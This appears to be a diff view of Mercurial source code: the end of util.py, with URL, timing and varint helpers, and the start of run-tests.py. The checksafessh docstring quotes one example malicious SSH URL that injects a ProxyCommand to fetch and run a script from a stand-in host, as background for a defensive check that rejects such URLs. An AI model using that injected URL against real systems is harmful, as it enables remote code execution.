3257 | 3257 | # letters to paths with drive letters. |
|
3258 | 3258 | if hasdriveletter(self._hostport): |
|
3259 | 3259 | path = self._hostport + b'/' + self.path |
|
3260 | 3260 | elif ( |
|
3261 | 3261 | self.host is not None and self.path and not hasdriveletter(path) |
|
3262 | 3262 | ): |
|
3263 | 3263 | path = b'/' + path |
|
3264 | 3264 | return path |
|
3265 | 3265 | return self._origpath |
|
3266 | 3266 | |
|
3267 | 3267 | def islocal(self): |
|
3268 | 3268 | '''whether localpath will return something that posixfile can open''' |
|
3269 | 3269 | return ( |
|
3270 | 3270 | not self.scheme |
|
3271 | 3271 | or self.scheme == b'file' |
|
3272 | 3272 | or self.scheme == b'bundle' |
|
3273 | 3273 | ) |
|
3274 | 3274 | |
|
3275 | 3275 | |
|
3276 | 3276 | def hasscheme(path): |
|
3277 | 3277 | return bool(url(path).scheme) |
|
3278 | 3278 | |
|
3279 | 3279 | |
|
3280 | 3280 | def hasdriveletter(path): |
|
3281 | 3281 | return path and path[1:2] == b':' and path[0:1].isalpha() |
|
3282 | 3282 | |
|
3283 | 3283 | |
|
3284 | 3284 | def urllocalpath(path): |
|
3285 | 3285 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
3286 | 3286 | |
|
3287 | 3287 | |
|
3288 | 3288 | def checksafessh(path): |
|
3289 | 3289 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
3290 | 3290 | |
|
3291 | 3291 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
3292 | 3292 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
3293 | 3293 | Let's prevent these potentially exploited urls entirely and warn the |
|
3294 | 3294 | user. |
|
3295 | 3295 | |
|
3296 | 3296 | Raises an error.Abort when the url is unsafe. |
|
3297 | 3297 | """ |
|
3298 | 3298 | path = urlreq.unquote(path) |
|
3299 | 3299 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
|
3300 | 3300 | raise error.Abort( |
|
3301 | 3301 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
|
3302 | 3302 | ) |
|
3303 | 3303 | |
|
3304 | 3304 | |
|
3305 | 3305 | def hidepassword(u): |
|
3306 | 3306 | '''hide user credential in a url string''' |
|
3307 | 3307 | u = url(u) |
|
3308 | 3308 | if u.passwd: |
|
3309 | 3309 | u.passwd = b'***' |
|
3310 | 3310 | return bytes(u) |
|
3311 | 3311 | |
|
3312 | 3312 | |
|
3313 | 3313 | def removeauth(u): |
|
3314 | 3314 | '''remove all authentication information from a url string''' |
|
3315 | 3315 | u = url(u) |
|
3316 | 3316 | u.user = u.passwd = None |
|
3317 | 3317 | return bytes(u) |
|
3318 | 3318 | |
|
3319 | 3319 | |
|
3320 | 3320 | timecount = unitcountfn( |
|
3321 | 3321 | (1, 1e3, _(b'%.0f s')), |
|
3322 | 3322 | (100, 1, _(b'%.1f s')), |
|
3323 | 3323 | (10, 1, _(b'%.2f s')), |
|
3324 | 3324 | (1, 1, _(b'%.3f s')), |
|
3325 | 3325 | (100, 0.001, _(b'%.1f ms')), |
|
3326 | 3326 | (10, 0.001, _(b'%.2f ms')), |
|
3327 | 3327 | (1, 0.001, _(b'%.3f ms')), |
|
3328 | 3328 | (100, 0.000001, _(b'%.1f us')), |
|
3329 | 3329 | (10, 0.000001, _(b'%.2f us')), |
|
3330 | 3330 | (1, 0.000001, _(b'%.3f us')), |
|
3331 | 3331 | (100, 0.000000001, _(b'%.1f ns')), |
|
3332 | 3332 | (10, 0.000000001, _(b'%.2f ns')), |
|
3333 | 3333 | (1, 0.000000001, _(b'%.3f ns')), |
|
3334 | 3334 | ) |
|
3335 | 3335 | |
|
3336 | 3336 | |
|
3337 | 3337 | @attr.s |
|
3338 | 3338 | class timedcmstats(object): |
|
3339 | 3339 | """Stats information produced by the timedcm context manager on entering.""" |
|
3340 | 3340 | |
|
3341 | 3341 | # the starting value of the timer as a float (meaning and resulution is |
|
3342 | 3342 | # platform dependent, see util.timer) |
|
3343 | 3343 | start = attr.ib(default=attr.Factory(lambda: timer())) |
|
3344 | 3344 | # the number of seconds as a floating point value; starts at 0, updated when |
|
3345 | 3345 | # the context is exited. |
|
3346 | 3346 | elapsed = attr.ib(default=0) |
|
3347 | 3347 | # the number of nested timedcm context managers. |
|
3348 | 3348 | level = attr.ib(default=1) |
|
3349 | 3349 | |
|
3350 | 3350 | def __bytes__(self): |
|
3351 | 3351 | return timecount(self.elapsed) if self.elapsed else b'<unknown>' |
|
3352 | 3352 | |
|
3353 | 3353 | __str__ = encoding.strmethod(__bytes__) |
|
3354 | 3354 | |
|
3355 | 3355 | |
|
3356 | 3356 | @contextlib.contextmanager |
|
3357 | 3357 | def timedcm(whencefmt, *whenceargs): |
|
3358 | 3358 | """A context manager that produces timing information for a given context. |
|
3359 | 3359 | |
|
3360 | 3360 | On entering a timedcmstats instance is produced. |
|
3361 | 3361 | |
|
3362 | 3362 | This context manager is reentrant. |
|
3363 | 3363 | |
|
3364 | 3364 | """ |
|
3365 | 3365 | # track nested context managers |
|
3366 | 3366 | timedcm._nested += 1 |
|
3367 | 3367 | timing_stats = timedcmstats(level=timedcm._nested) |
|
3368 | 3368 | try: |
|
3369 | 3369 | with tracing.log(whencefmt, *whenceargs): |
|
3370 | 3370 | yield timing_stats |
|
3371 | 3371 | finally: |
|
3372 | 3372 | timing_stats.elapsed = timer() - timing_stats.start |
|
3373 | 3373 | timedcm._nested -= 1 |
|
3374 | 3374 | |
|
3375 | 3375 | |
|
3376 | 3376 | timedcm._nested = 0 |
|
3377 | 3377 | |
|
3378 | 3378 | |
|
3379 | 3379 | def timed(func): |
|
3380 | 3380 | '''Report the execution time of a function call to stderr. |
|
3381 | 3381 | |
|
3382 | 3382 | During development, use as a decorator when you need to measure |
|
3383 | 3383 | the cost of a function, e.g. as follows: |
|
3384 | 3384 | |
|
3385 | 3385 | @util.timed |
|
3386 | 3386 | def foo(a, b, c): |
|
3387 | 3387 | pass |
|
3388 | 3388 | ''' |
|
3389 | 3389 | |
|
3390 | 3390 | def wrapper(*args, **kwargs): |
|
3391 | 3391 | with timedcm(pycompat.bytestr(func.__name__)) as time_stats: |
|
3392 | 3392 | result = func(*args, **kwargs) |
|
3393 | 3393 | stderr = procutil.stderr |
|
3394 | 3394 | stderr.write( |
|
3395 | 3395 | b'%s%s: %s\n' |
|
3396 | 3396 | % ( |
|
3397 | 3397 | b' ' * time_stats.level * 2, |
|
3398 | 3398 | pycompat.bytestr(func.__name__), |
|
3399 | 3399 | time_stats, |
|
3400 | 3400 | ) |
|
3401 | 3401 | ) |
|
3402 | 3402 | return result |
|
3403 | 3403 | |
|
3404 | 3404 | return wrapper |
|
3405 | 3405 | |
|
3406 | 3406 | |
|
3407 | 3407 | _sizeunits = ( |
|
3408 | 3408 | (b'm', 2 ** 20), |
|
3409 | 3409 | (b'k', 2 ** 10), |
|
3410 | 3410 | (b'g', 2 ** 30), |
|
3411 | 3411 | (b'kb', 2 ** 10), |
|
3412 | 3412 | (b'mb', 2 ** 20), |
|
3413 | 3413 | (b'gb', 2 ** 30), |
|
3414 | 3414 | (b'b', 1), |
|
3415 | 3415 | ) |
|
3416 | 3416 | |
|
3417 | 3417 | |
|
3418 | 3418 | def sizetoint(s): |
|
3419 | 3419 | '''Convert a space specifier to a byte count. |
|
3420 | 3420 | |
|
3421 | 3421 | >>> sizetoint(b'30') |
|
3422 | 3422 | 30 |
|
3423 | 3423 | >>> sizetoint(b'2.2kb') |
|
3424 | 3424 | 2252 |
|
3425 | 3425 | >>> sizetoint(b'6M') |
|
3426 | 3426 | 6291456 |
|
3427 | 3427 | ''' |
|
3428 | 3428 | t = s.strip().lower() |
|
3429 | 3429 | try: |
|
3430 | 3430 | for k, u in _sizeunits: |
|
3431 | 3431 | if t.endswith(k): |
|
3432 | 3432 | return int(float(t[: -len(k)]) * u) |
|
3433 | 3433 | return int(t) |
|
3434 | 3434 | except ValueError: |
|
3435 | 3435 | raise error.ParseError(_(b"couldn't parse size: %s") % s) |
|
3436 | 3436 | |
|
3437 | 3437 | |
|
3438 | 3438 | class hooks(object): |
|
3439 | 3439 | '''A collection of hook functions that can be used to extend a |
|
3440 | 3440 | function's behavior. Hooks are called in lexicographic order, |
|
3441 | 3441 | based on the names of their sources.''' |
|
3442 | 3442 | |
|
3443 | 3443 | def __init__(self): |
|
3444 | 3444 | self._hooks = [] |
|
3445 | 3445 | |
|
3446 | 3446 | def add(self, source, hook): |
|
3447 | 3447 | self._hooks.append((source, hook)) |
|
3448 | 3448 | |
|
3449 | 3449 | def __call__(self, *args): |
|
3450 | 3450 | self._hooks.sort(key=lambda x: x[0]) |
|
3451 | 3451 | results = [] |
|
3452 | 3452 | for source, hook in self._hooks: |
|
3453 | 3453 | results.append(hook(*args)) |
|
3454 | 3454 | return results |
|
3455 | 3455 | |
|
3456 | 3456 | |
|
3457 | 3457 | def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0): |
|
3458 | 3458 | '''Yields lines for a nicely formatted stacktrace. |
|
3459 | 3459 | Skips the 'skip' last entries, then return the last 'depth' entries. |
|
3460 | 3460 | Each file+linenumber is formatted according to fileline. |
|
3461 | 3461 | Each line is formatted according to line. |
|
3462 | 3462 | If line is None, it yields: |
|
3463 | 3463 | length of longest filepath+line number, |
|
3464 | 3464 | filepath+linenumber, |
|
3465 | 3465 | function |
|
3466 | 3466 | |
|
3467 | 3467 | Not be used in production code but very convenient while developing. |
|
3468 | 3468 | ''' |
|
3469 | 3469 | entries = [ |
|
3470 | 3470 | (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
|
3471 | 3471 | for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1] |
|
3472 | 3472 | ][-depth:] |
|
3473 | 3473 | if entries: |
|
3474 | 3474 | fnmax = max(len(entry[0]) for entry in entries) |
|
3475 | 3475 | for fnln, func in entries: |
|
3476 | 3476 | if line is None: |
|
3477 | 3477 | yield (fnmax, fnln, func) |
|
3478 | 3478 | else: |
|
3479 | 3479 | yield line % (fnmax, fnln, func) |
|
3480 | 3480 | |
|
3481 | 3481 | |
|
3482 | 3482 | def debugstacktrace( |
|
3483 | 3483 | msg=b'stacktrace', |
|
3484 | 3484 | skip=0, |
|
3485 | 3485 | f=procutil.stderr, |
|
3486 | 3486 | otherf=procutil.stdout, |
|
3487 | 3487 | depth=0, |
|
3488 | 3488 | prefix=b'', |
|
3489 | 3489 | ): |
|
3490 | 3490 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
|
3491 | 3491 | Skips the 'skip' entries closest to the call, then show 'depth' entries. |
|
3492 | 3492 | By default it will flush stdout first. |
|
3493 | 3493 | It can be used everywhere and intentionally does not require an ui object. |
|
3494 | 3494 | Not be used in production code but very convenient while developing. |
|
3495 | 3495 | ''' |
|
3496 | 3496 | if otherf: |
|
3497 | 3497 | otherf.flush() |
|
3498 | 3498 | f.write(b'%s%s at:\n' % (prefix, msg.rstrip())) |
|
3499 | 3499 | for line in getstackframes(skip + 1, depth=depth): |
|
3500 | 3500 | f.write(prefix + line) |
|
3501 | 3501 | f.flush() |
|
3502 | 3502 | |
|
3503 | 3503 | |
|
3504 | 3504 | # convenient shortcut |
|
3505 | 3505 | dst = debugstacktrace |
|
3506 | 3506 | |
|
3507 | 3507 | |
|
3508 | 3508 | def safename(f, tag, ctx, others=None): |
|
3509 | 3509 | """ |
|
3510 | 3510 | Generate a name that it is safe to rename f to in the given context. |
|
3511 | 3511 | |
|
3512 | 3512 | f: filename to rename |
|
3513 | 3513 | tag: a string tag that will be included in the new name |
|
3514 | 3514 | ctx: a context, in which the new name must not exist |
|
3515 | 3515 | others: a set of other filenames that the new name must not be in |
|
3516 | 3516 | |
|
3517 | 3517 | Returns a file name of the form oldname~tag[~number] which does not exist |
|
3518 | 3518 | in the provided context and is not in the set of other names. |
|
3519 | 3519 | """ |
|
3520 | 3520 | if others is None: |
|
3521 | 3521 | others = set() |
|
3522 | 3522 | |
|
3523 | 3523 | fn = b'%s~%s' % (f, tag) |
|
3524 | 3524 | if fn not in ctx and fn not in others: |
|
3525 | 3525 | return fn |
|
3526 | 3526 | for n in itertools.count(1): |
|
3527 | 3527 | fn = b'%s~%s~%s' % (f, tag, n) |
|
3528 | 3528 | if fn not in ctx and fn not in others: |
|
3529 | 3529 | return fn |
|
3530 | 3530 | |
|
3531 | 3531 | |
|
3532 | 3532 | def readexactly(stream, n): |
|
3533 | 3533 | '''read n bytes from stream.read and abort if less was available''' |
|
3534 | 3534 | s = stream.read(n) |
|
3535 | 3535 | if len(s) < n: |
|
3536 | 3536 | raise error.Abort( |
|
3537 | 3537 | _(b"stream ended unexpectedly (got %d bytes, expected %d)") |
|
3538 | 3538 | % (len(s), n) |
|
3539 | 3539 | ) |
|
3540 | 3540 | return s |
|
3541 | 3541 | |
|
3542 | 3542 | |
|
3543 | 3543 | def uvarintencode(value): |
|
3544 | 3544 | """Encode an unsigned integer value to a varint. |
|
3545 | 3545 | |
|
3546 | 3546 | A varint is a variable length integer of 1 or more bytes. Each byte |
|
3547 | 3547 | except the last has the most significant bit set. The lower 7 bits of |
|
3548 | 3548 | each byte store the 2's complement representation, least significant group |
|
3549 | 3549 | first. |
|
3550 | 3550 | |
|
3551 | 3551 | >>> uvarintencode(0) |
|
3552 | 3552 | '\\x00' |
|
3553 | 3553 | >>> uvarintencode(1) |
|
3554 | 3554 | '\\x01' |
|
3555 | 3555 | >>> uvarintencode(127) |
|
3556 | 3556 | '\\x7f' |
|
3557 | 3557 | >>> uvarintencode(1337) |
|
3558 | 3558 | '\\xb9\\n' |
|
3559 | 3559 | >>> uvarintencode(65536) |
|
3560 | 3560 | '\\x80\\x80\\x04' |
|
3561 | 3561 | >>> uvarintencode(-1) |
|
3562 | 3562 | Traceback (most recent call last): |
|
3563 | 3563 | ... |
|
3564 | 3564 | ProgrammingError: negative value for uvarint: -1 |
|
3565 | 3565 | """ |
|
3566 | 3566 | if value < 0: |
|
3567 | 3567 | raise error.ProgrammingError(b'negative value for uvarint: %d' % value) |
|
3568 | 3568 | bits = value & 0x7F |
|
3569 | 3569 | value >>= 7 |
|
3570 | 3570 | bytes = [] |
|
3571 | 3571 | while value: |
|
3572 | 3572 | bytes.append(pycompat.bytechr(0x80 | bits)) |
|
3573 | 3573 | bits = value & 0x7F |
|
3574 | 3574 | value >>= 7 |
|
3575 | 3575 | bytes.append(pycompat.bytechr(bits)) |
|
3576 | 3576 | |
|
3577 | 3577 | return b''.join(bytes) |
|
3578 | 3578 | |
|
3579 | 3579 | |
|
3580 | 3580 | def uvarintdecodestream(fh): |
|
3581 | 3581 | """Decode an unsigned variable length integer from a stream. |
|
3582 | 3582 | |
|
3583 | 3583 | The passed argument is anything that has a ``.read(N)`` method. |
|
3584 | 3584 | |
|
3585 | 3585 | >>> try: |
|
3586 | 3586 | ... from StringIO import StringIO as BytesIO |
|
3587 | 3587 | ... except ImportError: |
|
3588 | 3588 | ... from io import BytesIO |
|
3589 | 3589 | >>> uvarintdecodestream(BytesIO(b'\\x00')) |
|
3590 | 3590 | 0 |
|
3591 | 3591 | >>> uvarintdecodestream(BytesIO(b'\\x01')) |
|
3592 | 3592 | 1 |
|
3593 | 3593 | >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
|
3594 | 3594 | 127 |
|
3595 | 3595 | >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
|
3596 | 3596 | 1337 |
|
3597 | 3597 | >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
|
3598 | 3598 | 65536 |
|
3599 | 3599 | >>> uvarintdecodestream(BytesIO(b'\\x80')) |
|
3600 | 3600 | Traceback (most recent call last): |
|
3601 | 3601 | ... |
|
3602 | 3602 | Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
|
3603 | 3603 | """ |
|
3604 | 3604 | result = 0 |
|
3605 | 3605 | shift = 0 |
|
3606 | 3606 | while True: |
|
3607 | 3607 | byte = ord(readexactly(fh, 1)) |
|
3608 | 3608 | result |= (byte & 0x7F) << shift |
|
3609 | 3609 | if not (byte & 0x80): |
|
3610 | 3610 | return result |
|
3611 | 3611 | shift += 7 |
@@ -1,3747 +1,3745 b'' | |||
|
1 | 1 | #!/usr/bin/env python |
|
2 | 2 | # |
|
3 | 3 | # run-tests.py - Run a set of tests on Mercurial |
|
4 | 4 | # |
|
5 | 5 | # Copyright 2006 Matt Mackall <mpm@selenic.com> |
|
6 | 6 | # |
|
7 | 7 | # This software may be used and distributed according to the terms of the |
|
8 | 8 | # GNU General Public License version 2 or any later version. |
|
9 | 9 | |
|
10 | 10 | # Modifying this script is tricky because it has many modes: |
|
11 | 11 | # - serial (default) vs parallel (-jN, N > 1) |
|
12 | 12 | # - no coverage (default) vs coverage (-c, -C, -s) |
|
13 | 13 | # - temp install (default) vs specific hg script (--with-hg, --local) |
|
14 | 14 | # - tests are a mix of shell scripts and Python scripts |
|
15 | 15 | # |
|
16 | 16 | # If you change this script, it is recommended that you ensure you |
|
17 | 17 | # haven't broken it by running it in various modes with a representative |
|
18 | 18 | # sample of test scripts. For example: |
|
19 | 19 | # |
|
20 | 20 | # 1) serial, no coverage, temp install: |
|
21 | 21 | # ./run-tests.py test-s* |
|
22 | 22 | # 2) serial, no coverage, local hg: |
|
23 | 23 | # ./run-tests.py --local test-s* |
|
24 | 24 | # 3) serial, coverage, temp install: |
|
25 | 25 | # ./run-tests.py -c test-s* |
|
26 | 26 | # 4) serial, coverage, local hg: |
|
27 | 27 | # ./run-tests.py -c --local test-s* # unsupported |
|
28 | 28 | # 5) parallel, no coverage, temp install: |
|
29 | 29 | # ./run-tests.py -j2 test-s* |
|
30 | 30 | # 6) parallel, no coverage, local hg: |
|
31 | 31 | # ./run-tests.py -j2 --local test-s* |
|
32 | 32 | # 7) parallel, coverage, temp install: |
|
33 | 33 | # ./run-tests.py -j2 -c test-s* # currently broken |
|
34 | 34 | # 8) parallel, coverage, local install: |
|
35 | 35 | # ./run-tests.py -j2 -c --local test-s* # unsupported (and broken) |
|
36 | 36 | # 9) parallel, custom tmp dir: |
|
37 | 37 | # ./run-tests.py -j2 --tmpdir /tmp/myhgtests |
|
38 | 38 | # 10) parallel, pure, tests that call run-tests: |
|
39 | 39 | # ./run-tests.py --pure `grep -l run-tests.py *.t` |
|
40 | 40 | # |
|
41 | 41 | # (You could use any subset of the tests: test-s* happens to match |
|
42 | 42 | # enough that it's worth doing parallel runs, few enough that it |
|
43 | 43 | # completes fairly quickly, includes both shell and Python scripts, and |
|
44 | 44 | # includes some scripts that run daemon processes.) |
|
45 | 45 | |
|
46 | 46 | from __future__ import absolute_import, print_function |
|
47 | 47 | |
|
48 | 48 | import argparse |
|
49 | 49 | import collections |
|
50 | 50 | import difflib |
|
51 | 51 | import distutils.version as version |
|
52 | 52 | import errno |
|
53 | 53 | import json |
|
54 | 54 | import multiprocessing |
|
55 | 55 | import os |
|
56 | 56 | import random |
|
57 | 57 | import re |
|
58 | 58 | import shutil |
|
59 | 59 | import signal |
|
60 | 60 | import socket |
|
61 | 61 | import subprocess |
|
62 | 62 | import sys |
|
63 | 63 | import sysconfig |
|
64 | 64 | import tempfile |
|
65 | 65 | import threading |
|
66 | 66 | import time |
|
67 | 67 | import unittest |
|
68 | 68 | import uuid |
|
69 | 69 | import xml.dom.minidom as minidom |
|
70 | 70 | |
|
71 | 71 | try: |
|
72 | 72 | import Queue as queue |
|
73 | 73 | except ImportError: |
|
74 | 74 | import queue |
|
75 | 75 | |
|
76 | 76 | try: |
|
77 | 77 | import shlex |
|
78 | 78 | |
|
79 | 79 | shellquote = shlex.quote |
|
80 | 80 | except (ImportError, AttributeError): |
|
81 | 81 | import pipes |
|
82 | 82 | |
|
83 | 83 | shellquote = pipes.quote |
|
84 | 84 | |
|
85 | 85 | processlock = threading.Lock() |
|
86 | 86 | |
|
87 | 87 | pygmentspresent = False |
|
88 | 88 | # ANSI color is unsupported prior to Windows 10 |
|
89 | 89 | if os.name != 'nt': |
|
90 | 90 | try: # is pygments installed |
|
91 | 91 | import pygments |
|
92 | 92 | import pygments.lexers as lexers |
|
93 | 93 | import pygments.lexer as lexer |
|
94 | 94 | import pygments.formatters as formatters |
|
95 | 95 | import pygments.token as token |
|
96 | 96 | import pygments.style as style |
|
97 | 97 | |
|
98 | 98 | pygmentspresent = True |
|
99 | 99 | difflexer = lexers.DiffLexer() |
|
100 | 100 | terminal256formatter = formatters.Terminal256Formatter() |
|
101 | 101 | except ImportError: |
|
102 | 102 | pass |
|
103 | 103 | |
|
104 | 104 | if pygmentspresent: |
|
105 | 105 | |
|
106 | 106 | class TestRunnerStyle(style.Style): |
|
107 | 107 | default_style = "" |
|
108 | 108 | skipped = token.string_to_tokentype("Token.Generic.Skipped") |
|
109 | 109 | failed = token.string_to_tokentype("Token.Generic.Failed") |
|
110 | 110 | skippedname = token.string_to_tokentype("Token.Generic.SName") |
|
111 | 111 | failedname = token.string_to_tokentype("Token.Generic.FName") |
|
112 | 112 | styles = { |
|
113 | 113 | skipped: '#e5e5e5', |
|
114 | 114 | skippedname: '#00ffff', |
|
115 | 115 | failed: '#7f0000', |
|
116 | 116 | failedname: '#ff0000', |
|
117 | 117 | } |
|
118 | 118 | |
|
119 | 119 | class TestRunnerLexer(lexer.RegexLexer): |
|
120 | 120 | testpattern = r'[\w-]+\.(t|py)(#[a-zA-Z0-9_\-\.]+)?' |
|
121 | 121 | tokens = { |
|
122 | 122 | 'root': [ |
|
123 | 123 | (r'^Skipped', token.Generic.Skipped, 'skipped'), |
|
124 | 124 | (r'^Failed ', token.Generic.Failed, 'failed'), |
|
125 | 125 | (r'^ERROR: ', token.Generic.Failed, 'failed'), |
|
126 | 126 | ], |
|
127 | 127 | 'skipped': [ |
|
128 | 128 | (testpattern, token.Generic.SName), |
|
129 | 129 | (r':.*', token.Generic.Skipped), |
|
130 | 130 | ], |
|
131 | 131 | 'failed': [ |
|
132 | 132 | (testpattern, token.Generic.FName), |
|
133 | 133 | (r'(:| ).*', token.Generic.Failed), |
|
134 | 134 | ], |
|
135 | 135 | } |
|
136 | 136 | |
|
137 | 137 | runnerformatter = formatters.Terminal256Formatter(style=TestRunnerStyle) |
|
138 | 138 | runnerlexer = TestRunnerLexer() |
|
139 | 139 | |
|
140 | 140 | origenviron = os.environ.copy() |
|
141 | 141 | |
|
142 | 142 | if sys.version_info > (3, 5, 0): |
|
143 | 143 | PYTHON3 = True |
|
144 | 144 | xrange = range # we use xrange in one place, and we'd rather not use range |
|
145 | 145 | |
|
146 | 146 | def _bytespath(p): |
|
147 | 147 | if p is None: |
|
148 | 148 | return p |
|
149 | 149 | return p.encode('utf-8') |
|
150 | 150 | |
|
151 | 151 | def _strpath(p): |
|
152 | 152 | if p is None: |
|
153 | 153 | return p |
|
154 | 154 | return p.decode('utf-8') |
|
155 | 155 | |
|
156 | 156 | osenvironb = getattr(os, 'environb', None) |
|
157 | 157 | if osenvironb is None: |
|
158 | 158 | # Windows lacks os.environb, for instance. A proxy over the real thing |
|
159 | 159 | # instead of a copy allows the environment to be updated via bytes on |
|
160 | 160 | # all platforms. |
|
161 | 161 | class environbytes(object): |
|
162 | 162 | def __init__(self, strenv): |
|
163 | 163 | self.__len__ = strenv.__len__ |
|
164 | 164 | self.clear = strenv.clear |
|
165 | 165 | self._strenv = strenv |
|
166 | 166 | |
|
167 | 167 | def __getitem__(self, k): |
|
168 | 168 | v = self._strenv.__getitem__(_strpath(k)) |
|
169 | 169 | return _bytespath(v) |
|
170 | 170 | |
|
171 | 171 | def __setitem__(self, k, v): |
|
172 | 172 | self._strenv.__setitem__(_strpath(k), _strpath(v)) |
|
173 | 173 | |
|
174 | 174 | def __delitem__(self, k): |
|
175 | 175 | self._strenv.__delitem__(_strpath(k)) |
|
176 | 176 | |
|
177 | 177 | def __contains__(self, k): |
|
178 | 178 | return self._strenv.__contains__(_strpath(k)) |
|
179 | 179 | |
|
180 | 180 | def __iter__(self): |
|
181 | 181 | return iter([_bytespath(k) for k in iter(self._strenv)]) |
|
182 | 182 | |
|
183 | 183 | def get(self, k, default=None): |
|
184 | 184 | v = self._strenv.get(_strpath(k), _strpath(default)) |
|
185 | 185 | return _bytespath(v) |
|
186 | 186 | |
|
187 | 187 | def pop(self, k, default=None): |
|
188 | 188 | v = self._strenv.pop(_strpath(k), _strpath(default)) |
|
189 | 189 | return _bytespath(v) |
|
190 | 190 | |
|
191 | 191 | osenvironb = environbytes(os.environ) |
|
192 | 192 | |
|
193 | 193 | getcwdb = getattr(os, 'getcwdb') |
|
194 | 194 | if not getcwdb or os.name == 'nt': |
|
195 | 195 | getcwdb = lambda: _bytespath(os.getcwd()) |
|
196 | 196 | |
|
197 | 197 | elif sys.version_info >= (3, 0, 0): |
|
198 | 198 | print( |
|
199 | 199 | '%s is only supported on Python 3.5+ and 2.7, not %s' |
|
200 | 200 | % (sys.argv[0], '.'.join(str(v) for v in sys.version_info[:3])) |
|
201 | 201 | ) |
|
202 | 202 | sys.exit(70) # EX_SOFTWARE from `man 3 sysexit` |
|
203 | 203 | else: |
|
204 | 204 | PYTHON3 = False |
|
205 | 205 | |
|
206 | 206 | # In python 2.x, path operations are generally done using |
|
207 | 207 | # bytestrings by default, so we don't have to do any extra |
|
208 | 208 | # fiddling there. We define the wrapper functions anyway just to |
|
209 | 209 | # help keep code consistent between platforms. |
|
210 | 210 | def _bytespath(p): |
|
211 | 211 | return p |
|
212 | 212 | |
|
213 | 213 | _strpath = _bytespath |
|
214 | 214 | osenvironb = os.environ |
|
215 | 215 | getcwdb = os.getcwd |
|
216 | 216 | |
|
217 | 217 | # For Windows support |
|
218 | 218 | wifexited = getattr(os, "WIFEXITED", lambda x: False) |
|
219 | 219 | |
|
220 | 220 | # Whether to use IPv6 |
|
221 | 221 | def checksocketfamily(name, port=20058): |
|
222 | 222 | """return true if we can listen on localhost using family=name |
|
223 | 223 | |
|
224 | 224 | name should be either 'AF_INET', or 'AF_INET6'. |
|
225 | 225 | port being used is okay - EADDRINUSE is considered as successful. |
|
226 | 226 | """ |
|
227 | 227 | family = getattr(socket, name, None) |
|
228 | 228 | if family is None: |
|
229 | 229 | return False |
|
230 | 230 | try: |
|
231 | 231 | s = socket.socket(family, socket.SOCK_STREAM) |
|
232 | 232 | s.bind(('localhost', port)) |
|
233 | 233 | s.close() |
|
234 | 234 | return True |
|
235 | 235 | except socket.error as exc: |
|
236 | 236 | if exc.errno == errno.EADDRINUSE: |
|
237 | 237 | return True |
|
238 | 238 | elif exc.errno in (errno.EADDRNOTAVAIL, errno.EPROTONOSUPPORT): |
|
239 | 239 | return False |
|
240 | 240 | else: |
|
241 | 241 | raise |
|
242 | 242 | else: |
|
243 | 243 | return False |
|
244 | 244 | |
|
245 | 245 | |
|
246 | 246 | # useipv6 will be set by parseargs |
|
247 | 247 | useipv6 = None |
|
248 | 248 | |
|
249 | 249 | |
|
250 | 250 | def checkportisavailable(port): |
|
251 | 251 | """return true if a port seems free to bind on localhost""" |
|
252 | 252 | if useipv6: |
|
253 | 253 | family = socket.AF_INET6 |
|
254 | 254 | else: |
|
255 | 255 | family = socket.AF_INET |
|
256 | 256 | try: |
|
257 | 257 | s = socket.socket(family, socket.SOCK_STREAM) |
|
258 | 258 | s.bind(('localhost', port)) |
|
259 | 259 | s.close() |
|
260 | 260 | return True |
|
261 | 261 | except socket.error as exc: |
|
262 | 262 | if exc.errno not in ( |
|
263 | 263 | errno.EADDRINUSE, |
|
264 | 264 | errno.EADDRNOTAVAIL, |
|
265 | 265 | errno.EPROTONOSUPPORT, |
|
266 | 266 | ): |
|
267 | 267 | raise |
|
268 | 268 | return False |
|
269 | 269 | |
|
270 | 270 | |
|
271 | 271 | closefds = os.name == 'posix' |
|
272 | 272 | |
|
273 | 273 | |
|
274 | 274 | def Popen4(cmd, wd, timeout, env=None): |
|
275 | 275 | processlock.acquire() |
|
276 | 276 | p = subprocess.Popen( |
|
277 | 277 | _strpath(cmd), |
|
278 | 278 | shell=True, |
|
279 | 279 | bufsize=-1, |
|
280 | 280 | cwd=_strpath(wd), |
|
281 | 281 | env=env, |
|
282 | 282 | close_fds=closefds, |
|
283 | 283 | stdin=subprocess.PIPE, |
|
284 | 284 | stdout=subprocess.PIPE, |
|
285 | 285 | stderr=subprocess.STDOUT, |
|
286 | 286 | ) |
|
287 | 287 | processlock.release() |
|
288 | 288 | |
|
289 | 289 | p.fromchild = p.stdout |
|
290 | 290 | p.tochild = p.stdin |
|
291 | 291 | p.childerr = p.stderr |
|
292 | 292 | |
|
293 | 293 | p.timeout = False |
|
294 | 294 | if timeout: |
|
295 | 295 | |
|
296 | 296 | def t(): |
|
297 | 297 | start = time.time() |
|
298 | 298 | while time.time() - start < timeout and p.returncode is None: |
|
299 | 299 | time.sleep(0.1) |
|
300 | 300 | p.timeout = True |
|
301 | 301 | if p.returncode is None: |
|
302 | 302 | terminate(p) |
|
303 | 303 | |
|
304 | 304 | threading.Thread(target=t).start() |
|
305 | 305 | |
|
306 | 306 | return p |
|
307 | 307 | |
|
308 | 308 | |
|
309 | 309 | if sys.executable: |
|
310 | 310 | sysexecutable = sys.executable |
|
311 | 311 | elif os.environ.get('PYTHONEXECUTABLE'): |
|
312 | 312 | sysexecutable = os.environ['PYTHONEXECUTABLE'] |
|
313 | 313 | elif os.environ.get('PYTHON'): |
|
314 | 314 | sysexecutable = os.environ['PYTHON'] |
|
315 | 315 | else: |
|
316 | 316 | raise AssertionError('Could not find Python interpreter') |
|
317 | 317 | |
|
318 | 318 | PYTHON = _bytespath(sysexecutable.replace('\\', '/')) |
|
319 | 319 | IMPL_PATH = b'PYTHONPATH' |
|
